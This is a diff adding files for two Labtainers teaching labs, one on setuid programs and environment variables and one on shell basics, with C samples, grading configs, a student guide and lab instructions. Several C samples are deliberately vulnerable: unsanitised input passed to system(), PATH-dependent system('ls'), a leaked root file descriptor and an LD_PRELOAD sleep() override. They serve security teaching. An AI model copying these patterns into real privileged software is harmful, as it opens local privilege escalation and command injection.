+\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +%\pagestyle{fancyplain} +%\lhead[\thepage]{\thesection} % Note the different brackets! +%\rhead[\thesection]{SEED Laboratories} +%\lfoot[\fancyplain{}{}]{Syracuse University} +%\cfoot[\fancyplain{}{}]{\thepage} + +\newcommand{\tstamp}{\today} +%\lhead[\fancyplain{}{\thepage}] {\fancyplain{}{\rightmark}} +%\chead[\fancyplain{}{}] {\fancyplain{}{}} +%\rhead[\fancyplain{}{\rightmark}] {\fancyplain{}{\thepage}} +%\lfoot[\fancyplain{}{}] {\fancyplain{\tstamp}{\tstamp}} +%\cfoot[\fancyplain{\thepage}{}] {\fancyplain{\thepage}{}} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +%\lhead{\bfseries Computer Security Course Project} +\lhead{\bfseries SEED Labs} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/docs/read_first.txt new file mode 100644 index 000000000..bedb31476 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/docs/read_first.txt @@ -0,0 +1,8 @@ +The lab manual is at + file://LAB_DOCS/setuid-env.pdf +A lab report template is at + file://LAB_DOCS/setuid-env-report.docx + +You may open these by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/instr_config/goals.config new file mode 100644 index 000000000..0abd521ba --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/instr_config/goals.config @@ -0,0 +1,10 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#SUM: Count of compilations of different programs +compile_printenv = value : gcc_printenv +compile_printall = value : gcc_printall +compile_ls = value: gcc_ls +compile_shared = value: gcc_shared +compile_leak = value: gcc_leak + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/instr_config/pregrade.sh new file mode 100755 index 000000000..2d6b93ed2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/instr_config/pregrade.sh @@ -0,0 +1,40 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +echo $is_sqlite +here=`pwd` +places=$here/.mozilla/firefox/*default/places.sqlite +for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi +done + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/instr_config/results.config new file mode 100644 index 000000000..c92c96e73 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/instr_config/results.config @@ -0,0 +1,8 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +gcc_printenv = .bash_history : STRING_COUNT : gcc printenv.c +gcc_printall = .bash_history : STRING_COUNT : gcc printall.c +gcc_ls = .bash_history : STRING_COUNT : gcc ls.c +gcc_shared = .bash_history : STRING_COUNT : gcc -shared +gcc_leak = .bash_history : STRING_COUNT : gcc leak.c diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_bin/ignorelocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_bin/ignorelocal new file mode 100644 index 000000000..cba7efc8e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_bin/ignorelocal @@ -0,0 +1 @@ +a.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_system/etc/bank_secrets.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_system/etc/bank_secrets.txt new file mode 100644 index 000000000..c6b64e296 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_system/etc/bank_secrets.txt @@ -0,0 +1 @@ +well, not really secrets. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_system/etc/critical_file.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_system/etc/critical_file.txt new file mode 100644 index 000000000..f90c48f00 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_system/etc/critical_file.txt @@ -0,0 +1 @@ +well, not really critical. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_system/etc/zzz b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_system/etc/zzz new file mode 100644 index 000000000..98ebb87da --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_system/etc/zzz @@ -0,0 +1 @@ +important stuff, not really. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/execve.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/execve.c new file mode 100644 index 000000000..f3e9974dc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/execve.c @@ -0,0 +1,11 @@ +#include +#include +extern char ** environ; +int main() +{ + char * argv[2]; + argv[0] = "/usr/bin/env"; + argv[1] = NULL; + execve("/usr/bin/env", argv, NULL); + return 0 ; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/leak.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/leak.c new file mode 100644 index 000000000..5e8685922 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/leak.c @@ -0,0 +1,35 @@ +#include +#include +#include +#include +#include +void main() +{ + int fd; + /* Assume that /etc/zzz is an important system file, + * and it is owned by root with permission 0644. + * Before running this program, you should creat + * the file /etc/zzz first. + */ + fd = open("/etc/zzz", O_RDWR | O_APPEND); + if (fd == -1) { + printf("Cannot open /etc/zzz\n"); + exit(0); + } + /* Simulate the tasks conducted by the program */ + sleep(1); + /* After the task, the root privileges are no longer needed, + it’s time to relinquish the root privileges permanently. */ + setuid(getuid()); /* getuid() returns the real uid */ + if (fork()) { /*In the parent process */ + close (fd); + exit(0); + } else { /* in the child process */ + /* Now, assume that the child process is compromised, malicious + attackers have injected the following statements + into this process + */ + write (fd, "Malicious Data\n", 15); + close (fd); + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/mylib.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/mylib.c new file mode 100644 index 000000000..6f0feb9ac --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/mylib.c @@ -0,0 +1,6 @@ +#include +void sleep (int s) +{ + /* If this is invoked by a privileged program, you can do damage here! */ + printf("I am not sleeping!\n"); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/myprog.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/myprog.c new file mode 100644 index 000000000..89ecdb3e4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/myprog.c @@ -0,0 +1,7 @@ +#include +/* myprog.c */ +int main() +{ + sleep(1); + return 0; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/path-suid.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/path-suid.c new file mode 100644 index 000000000..f5a8ccd14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/path-suid.c @@ -0,0 +1,11 @@ +#include +#include +#include +#include +int main() +{ + uid_t euid = geteuid(); + printf("euid is %d\n", euid); + system("ls"); + return 0; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/printall.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/printall.c new file mode 100644 index 000000000..46eaa5bce --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/printall.c @@ -0,0 +1,11 @@ +#include +#include +extern char ** environ; +void main() +{ + int i = 0; + while (environ[i] != NULL) { + printf("%s\n", environ[i]); + i++; + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/printenv.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/printenv.c new file mode 100644 index 000000000..fc724a2df --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/printenv.c @@ -0,0 +1,24 @@ +#include +#include +#include +extern char ** environ; +void printenv() +{ + int i = 0; + while (environ[i] != NULL) { + printf("%s\n", environ[i]); + i++; + } +} +void main() +{ + pid_t childPid; + switch(childPid = fork()) { + case 0: /* child process */ + printenv(); + exit(0); + default: /* parent process */ + //printenv(); + exit(0); + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/prog4bob.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/prog4bob.c new file mode 100644 index 000000000..22286d732 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/prog4bob.c @@ -0,0 +1,19 @@ +#include +#include +#include +int main(int argc, char * argv[]) +{ + char * v[3]; + char * command; + if(argc < 2) { + printf("Please type a file name.\n"); + return 1; + } + v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL; + command = malloc(strlen(v[0]) + strlen(v[1]) + 2); + sprintf(command, "%s %s", v[0], v[1]); + // Use only one of the followings. + system(command); + // execve(v[0], v, NULL); + return 0 ; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/system.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/system.c new file mode 100644 index 000000000..d98a55dbc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/setuid-env/setuid-env/system.c @@ -0,0 +1,7 @@ +#include +#include +int main() +{ + system("/usr/bin/env"); + return 0 ; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/config/about.txt new file mode 100644 index 000000000..278a224d5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/config/about.txt @@ -0,0 +1 @@ +Covers some basic linux shell commands for students to introduce command line processing. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/config/parameter.config new file mode 100644 index 000000000..16f548299 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format +# +secret_value : RAND_REPLACE : RunMe.py : SECRET_VALUE : 0x41 : 0x5a diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/config/start.config new file mode 100644 index 000000000..d5df0563c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/config/start.config @@ -0,0 +1,46 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER shellbasics + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED shellbasics_ubuntu_master_seed + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER shellbasics + # user name of user who interacts with the container. + USER ubuntu + XTERM INSTRUCTIONS + # + # The number of terminals defaults to 2 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/config/student_manual.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/config/student_manual.txt new file mode 100644 index 000000000..68152ee8b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/config/student_manual.txt @@ -0,0 +1,81 @@ +Labtainer Student Guide +June 19, 2017 +1 +Introduction +This manual is intended for use by students performing labs with Labtainers. Labtainers assume you have a +Linux system, e.g., a virtual machine. Refer to in Appendix A for installation of Virtual Box and a Linux +system. Note though, that any Linux system can be used as long as it supports Dockers. +1.1 +Obtaining Labtainers and installing Docker +The Labtainers environment is distributed as a tarball from: https://my.nps.edu/documents/107523850/ +109121362/labtainer.tar/6fc80410-e87d-4e47-ae24-cbb60c7619fa Untar this file in your Linux system. +Install Docker by running one of the install-docker scripts, depending on your Linux distribution: +./labtainer/trunk/setup_scripts/install-docker-ubuntu.sh +or +./labtainer/trunk/setup_scripts/install-docker-fedora.sh +If you have a different Linux distribution, find instructions for installing Docker at https://docs.docker.com/ +engine/installation/ +If you already have Dockers installed, or installed Docker for a different distribution, make sure you also +have python, and the python netaddr module installed. +2 +Performing a Lab +All labs are run from the same workspace directory: +cd labtainers/trunk/scripts/labtainers-student +Then run the lab: +./start.py +The first time any given lab is run, it may take a short while to build the Docker images required for the +lab. Subsequent runs will start much faster. +Follow the instructions that appear in one of the resulting virtual terminals. While running the lab, if you +require more virtual terminals, use: +./moreterm.py +The virtual terminals for most labs present bash shells via which you can interact with the attached computer, +(which is actually a Docker container). A single computer may have multiple virtual terminals attached to it. +Each computer is independent, and may use networks to interact with other computers within the lab. +2.1 +Networking +In addition to networks properties defined for the lab, each component /etc/host file includes a ”my host +entry” that names the host Linux. Most containers will include a default gateway that leads to the Linux host. +This allows students to scp files to/from the container and host. It also allows the student to reach external +networks, e.g., to fetch additional packages in support of student exploration. +In some instances, the lab requires one or more components to a have different default route. Typically, these +components will include a togglegw.sh script that the student can use to toggle the default gateway between one +that leads to the host, and one defined for the lab. This allows students to add packages on components having +lab-specific default gateways. Use of the togglegw.sh script is not necessary to reach the Linux host, (e.g., to +scp files). +12.2 +Limitations +The ”computers” are individual Docker containers that are interconnected via virtual networks. These containers +each share the Linux kernel of your host. Thus, a change to the kernel configuration on one computer, (e.g., +enabling ASLR), will be visible on other containers, as well as your host. +The computers each include a ”.local” directory beneath the HOME directory. This is used by the Labtainer +framework and includes results that get packaged up for forwarding to the instructor. Do not modify any files +beneath the .local directory. Otherwise, you can treat those containers as Linux systems, and explore them. +Please note that while running programs in the virtual computers, passwords provided to applications such +as ”ssh” are not supressed. This is a side effect of the Labtainers support for automated assessment. +2.3 +Stopping Labtainers +When you are finished, or wish to stop working, type: +./stop.py +The stop.py command will display the directory containing a zip file that should be provided to your instructor. +2A +Appendix A: Installing Virtual Box and Ubuntu +The instructions below describe installation of an Ubuntu Linux VM to serve as the Labtainer host. If you +already have a Linux system that can support Dockers, you may skip this section. +• Install Virutal Box from : https://www.virtualbox.org/wiki/Downloads +• Download the latest Ubuntu LTS distribution .iso image. +• Use VirtualBox to create a new VM, allocate at least 10GB of disk storage. +• Select the Ubuntu iso image in the VirtualBox storage settings, and select ”Live CD/DVD” +• Power on the virtual machine and install Ubuntu. +The following additions simplify movement of files between Virtual Box guests and the host computer. +To setup shared folder: +• create or identify a folder on the host to share with the guest +• on the virtualbox guest, select ”settings” / ”Shared Folders”, then select host’s shared folder. +• download a virtualbox guest additions iso from http://download.virtualbox.org/virtualbox and se- +lect the version of virtual box you are using (5.0.24 for example) +• on the virtualbox guest, select ”settings” / ”Storage” and change the CD rom to mount the iso downloaded +• If the guest additions does not automatically prompt you, then mount the CD inside the guest then run +the guestadditions +• Once VBox Guest Additions is completed, reboot the guest +• Add the user (in the guest) to the vboxsf group: +sudo adduser $USER vboxsf +3 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/dockerfiles/Dockerfile.shellbasics.shellbasics.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/dockerfiles/Dockerfile.shellbasics.shellbasics.student new file mode 100644 index 000000000..3de71d97b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/dockerfiles/Dockerfile.shellbasics.shellbasics.student @@ -0,0 +1,26 @@ +# +# Labtainer Dockerfile +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/instr_config/goals.config new file mode 100644 index 000000000..65893925f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/instr_config/goals.config @@ -0,0 +1,23 @@ +# goals.config +# +# created by interns, not a good example reference +#SUM: Lab created by interns, rough idea of student interaction with the shell +_did_mkdir_one = matchany : string_equal : mkdir_check : answer=MyFolder +_did_touch_one = matchany : string_equal : touch_check : answer=tester.txt +_did_pwd_one = matchany : string_equal : pwd_check : answer=/home/ubuntu/MyFolder +did_task_a = count_greater : 2 : (_did_mkdir_one, _did_touch_one, _did_pwd_one) +_did_ls_one = matchany : string_equal : list_check : answer=MyFolder +_did_mv_one = matchany : string_start : mv_check : answer=tester.txt +did_task_c = count_greater : 1 : (_did_mv_one, _did_ls_one) +_did_cp_one = matchany : string_equal : cp_check : answer=tester.txt ../MyFolder/ +_did_cp_two = matchany : string_equal : cp_ls_check : answer=tester.txt +did_task_d = count_greater : 1 : (_did_cp_one, _did_cp_two) +_did_cal = matchany : integer_greater : cal_check : answer=5 +_did_append = matchacross : string_equal : cal_cont_check : result.cat_cal_check +did_task_e = count_greater : 1 : (_did_cal, _did_append) +_did_more = matchany : string_equal : more_check : answer=readthis.txt +_did_less = matchany : string_equal : less_check : answer=readthis.txt +_did_rm = matchany : string_equal : rm_check : answer=readthis.txt +did_task_f = count_greater : 2 : (_did_more, _did_less, _did_rm) +own_work = matchany : string_equal : student_watermark : parameter.secret_value + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/instr_config/results.config new file mode 100644 index 000000000..b805ceea8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/instr_config/results.config @@ -0,0 +1,20 @@ +# results.config +# +# created by interns, not a good example reference +mkdir_check = mkdir.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +touch_check = touch.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +pwd_check = pwd.stdout : SLASH : ALL : HAVESTRING : home +did_task_b = date.stdout : CONTAINS : UTC +date_out = date.stdout : TOKEN : ALL : HAVESTRING : UTC +cat_txt_date = cat.stdout : TOKEN : ALL : HAVESTRING : UTC +list_check = ls.stdout : TOKEN : 1 : HAVESTRING : NewFolder +mv_check = mv.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +cp_check = cp.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +cp_ls_check = ls.stdout : TOKEN : 1 : HAVESTRING : tester.txt +cal_check = cal.stdout : LINE_COUNT +cal_cont_check = cal.stdout : ALL : HAVESTRING : su +cat_cal_check = cat.stdout : TOKEN : ALL : HAVESTRING : su +more_check = more.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +less_check = less.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +rm_check = rm.stdin : PARENS : 1 : STARTSWITH : PROGRAM_ARGUMENTS +student_watermark = RunMe.py.stdout : 5 : STARTSWITH : Your secret value is diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/shellbasics/RunMe.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/shellbasics/RunMe.py new file mode 100644 index 000000000..7a0451ffb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/shellbasics/RunMe.py @@ -0,0 +1,5 @@ +#!/usr/bin/env python +import os +print "Your secret value is SECRET_VALUE . Type 'ls' to see the new file we have created!" +os.rename(".local/config/student_manual.txt", "student_manual.txt") +os.rename("student_manual.txt", "readthis.txt") diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/shellbasics/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/shellbasics/_bin/fixlocal.sh new file mode 100755 index 000000000..f5856942a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/shellbasics/_bin/fixlocal.sh @@ -0,0 +1,5 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/shellbasics/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/shellbasics/_bin/treataslocal new file mode 100644 index 000000000..f5a83f4a6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/shellbasics/_bin/treataslocal @@ -0,0 +1,21 @@ +/bin/ls +/bin/pwd +/bin/date +/bin/mkdir +/bin/rmdir +/usr/bin/touch +/usr/bin/cal +/bin/cat +/bin/cp +/bin/more +/usr/bin/less +/bin/mv +/usr/bin/w +/bin/ps +/usr/bin/top +/usr/bin/man +/bin/uname +/bin/rm +/bin/grep +/usr/bin/whoami +/bin/chmod diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/shellbasics/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/shellbasics/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/shellbasics/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/shellbasics/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/shellbasics/instructions.txt new file mode 100644 index 000000000..efbdb156c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/shellbasics/instructions.txt @@ -0,0 +1,84 @@ +Title: Shell Basics Lab Exercise + +1. Background + +This Labtainer exercise explores the basics of Linux +shell commands. + +2. Performing the lab +The lab is started from the Labtainer working +directory on your Docker-enabled host, e.g., a Linux VM. +From there, issue the command: + + labtainer shellbasics + +The resulting virtual terminals will include a display of +these instructions, and a bash shell. + +To navigate this instruction, the arrow keys along with +with the Space/Home/End/Page-Up/Page-Down keys are usable. +To exit navigation of this instruction, type 'q'. + +3. Tasks + +a) using the 'mkdir' command create a new directory named "MyFolder". Then +with the 'cd' command move into the "MyFolder" directory, and create using +the 'touch' command a new file called "tester.txt". Print the working +directory by typing 'pwd'. + +hint- follow the command name by the name of the directory or file + e.g. cd myFolder + +b) Next check the date by typing 'date'. Now, append a date to the "tester.txt" +by typing the line below. Type 'cat' followed by "tester.txt" to display it. + + date >> tester.txt + +c) Change back to the home directory by typing 'cd ..' or just 'cd' and make a new +directory called "NewFolder". Type just 'ls' to see all the directories and files you +have made in this directory. Change back into your "MyFolder" directory and move your +"tester.txt" file into the "NewFolder" directory by using the 'mv' command as follows. + + mv tester.txt ../NewFolder + +d) List the contents of the directory you are in now, note how there is no longer an +instance of the "tester.txt" file you made. Move to the "NewFolder" directory and +using the 'cp' command, copy the "tester.txt" file to your "MyFolder". + + cp tester.txt ../MyFolder + +e) Return to the "MyFolder" directory list its contents and then +display the contents of the new "tester.txt" file you copied. +Output a copy of this month's calandar by typing 'cal'. Overwrite the +contents of "tester.txt" with this by writing the line below. Output it after. + + cal > tester.txt + +hint- notice how this contains one carrot instead of two. One carrot overwrites the previous +while two adds to it. + +f) Return to the home directory and list all the directories and files. Try to execute +the python file "RunMe.py" by typing './RunMe.py'. The returned message indicates +that the file does not have the authority to be run from this status. +Change the mode it is in by typing the line below and try it again. + chmod a+x RunMe.py + +g) List the contents of your directory and notice there is a file called "readthis.txt". +Try typing these two commands before the name of the file and notice how each +differently displays the contents: 'more' , 'less'. Finally, type 'rm' before the +"readthis.txt" file to delete it. + + + +4. Stop the Labtainer + +When the lab is completed, or you'd like to stop working for a while, run + + stoplab shellbasics + +from the host Labtainer working directory. You can always restart the +Labtainer to continue your work. When the 